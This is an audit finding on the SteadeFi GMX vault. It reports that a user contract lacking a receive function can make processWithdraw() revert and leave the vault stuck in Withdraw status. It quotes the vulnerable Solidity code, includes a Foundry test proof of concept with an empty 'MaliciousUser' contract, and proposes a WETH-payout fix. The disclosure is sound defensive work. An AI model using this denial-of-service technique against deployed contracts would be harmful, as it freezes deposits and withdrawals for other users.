Summary
Vault stuck on "Withdraw" status during normal withdraw flow for native token, when user is contract without receive
Vulnerability Details
During the standard withdraw flow for a native token, a malicious user contract without a receive function will cause the "processWithdraw()" function to REVERT before the status of the vault is updated to "Open", rendering the vault stuck. This attack vector costs almost nothing and is technically very simple to implement. The "try/catch" setup only works with "GMXProcessWithdraw.processWithdraw(self)", and doesn't stop the flow REVERTing and getting stuck on "Withdraw" status if bool success is false
This can be seen in the "processWithdraw()" function detailed in the GMXWithdraw library:
function processWithdraw(
GMXTypes.Store storage self
) external {
GMXChecks.beforeProcessWithdrawChecks(self);
try GMXProcessWithdraw.processWithdraw(self) {
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
self.WNT.withdraw(self.withdrawCache.tokensToUser);
(bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {
IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
self.withdrawCache.user,
self.withdrawCache.tokensToUser
);
}
self.tokenA.safeTransfer(self.withdrawCache.user, self.tokenA.balanceOf(address(this)));
self.tokenB.safeTransfer(self.withdrawCache.user, self.tokenB.balanceOf(address(this)));
self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
self.status = GMXTypes.Status.Open;
emit WithdrawCompleted(
self.withdrawCache.user,
self.withdrawCache.withdrawParams.token,
self.withdrawCache.tokensToUser
);
} catch (bytes memory reason) {
self.status = GMXTypes.Status.Withdraw_Failed;
emit WithdrawFailed(reason);
}
}
https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXWithdraw.sol#L168-L211
PoC
diff --git a/test/gmx/local/GMXWithdrawTest.t.sol b/test/gmx/local/GMXWithdrawTest.t.sol
index 19e0d2a..cf2e822 100644
--- a/test/gmx/local/GMXWithdrawTest.t.sol
+++ b/test/gmx/local/GMXWithdrawTest.t.sol
@@ -79,6 +79,35 @@ contract GMXWithdrawTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
require(roughlyEqual(vault.store().leverage, vault.leverage(), 1e17), "leverage should be 3");
}
+ function test_processWithdrawMaliciousRevert() external {
+ MaliciousUser maliciousUser = new MaliciousUser();
+ deal(address(maliciousUser), 10 ether);
+ deal(address(WETH), address(maliciousUser), 10 ether);
+ vm.startPrank(address(maliciousUser));
+ IERC20(WETH).approve(address(vault), type(uint256).max);
+ _createAndExecuteDeposit(
+ address(WETH),
+ address(USDC),
+ address(WETH),
+ 1e18,
+ 0,
+ SLIPPAGE,
+ EXECUTION_FEE
+ );
+ _createWithdrawal(address(WETH), 250e18, 0, SLIPPAGE, EXECUTION_FEE);
+
+
+ vm.expectRevert();
+ mockExchangeRouter.executeWithdrawal(
+ address(WETH),
+ address(USDC),
+ address(vault),
+ address(callback)
+ );
+
+ assertEq(uint256(vault.store().status), 3);
+ }
+
function test_processWithdrawCancel() external {
vm.startPrank(user1);
_createAndExecuteDeposit(
@@ -362,3 +391,8 @@ contract GMXWithdrawTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
require(IERC20(vault).balanceOf(address(treasury)) > treasuryBal, "treasury balance should increase");
}
}
+
+
+contract MaliciousUser {
+
+}
Impact
Vault status will be stuck on "Withdraw" and won't be able to accept any new deposits, withdraws, rebalances or compounds
Recommendations
Pay native depositors back in WETH instead of ETH. It simplifies the code and removes the attack vector
index b957df1..3965498 100644
--- a/contracts/strategy/gmx/GMXWithdraw.sol
+++ b/contracts/strategy/gmx/GMXWithdraw.sol
@@ -176,18 +176,11 @@ library GMXWithdraw {
try GMXProcessWithdraw.processWithdraw(self) {
-
- if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
- self.WNT.withdraw(self.withdrawCache.tokensToUser);
- (bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
- require(success, "Transfer failed.");
- } else {
-
- IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
- self.withdrawCache.user,
- self.withdrawCache.tokensToUser
- )
- }
+
+ IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
+ self.withdrawCache.user,
+ self.withdrawCache.tokensToUser
+ );
// Transfer any remaining tokenA/B that was unused (due to slippage) to user as well
self.tokenA.safeTransfer(self.withdrawCache.user, self.tokenA.balanceOf(address(this)));
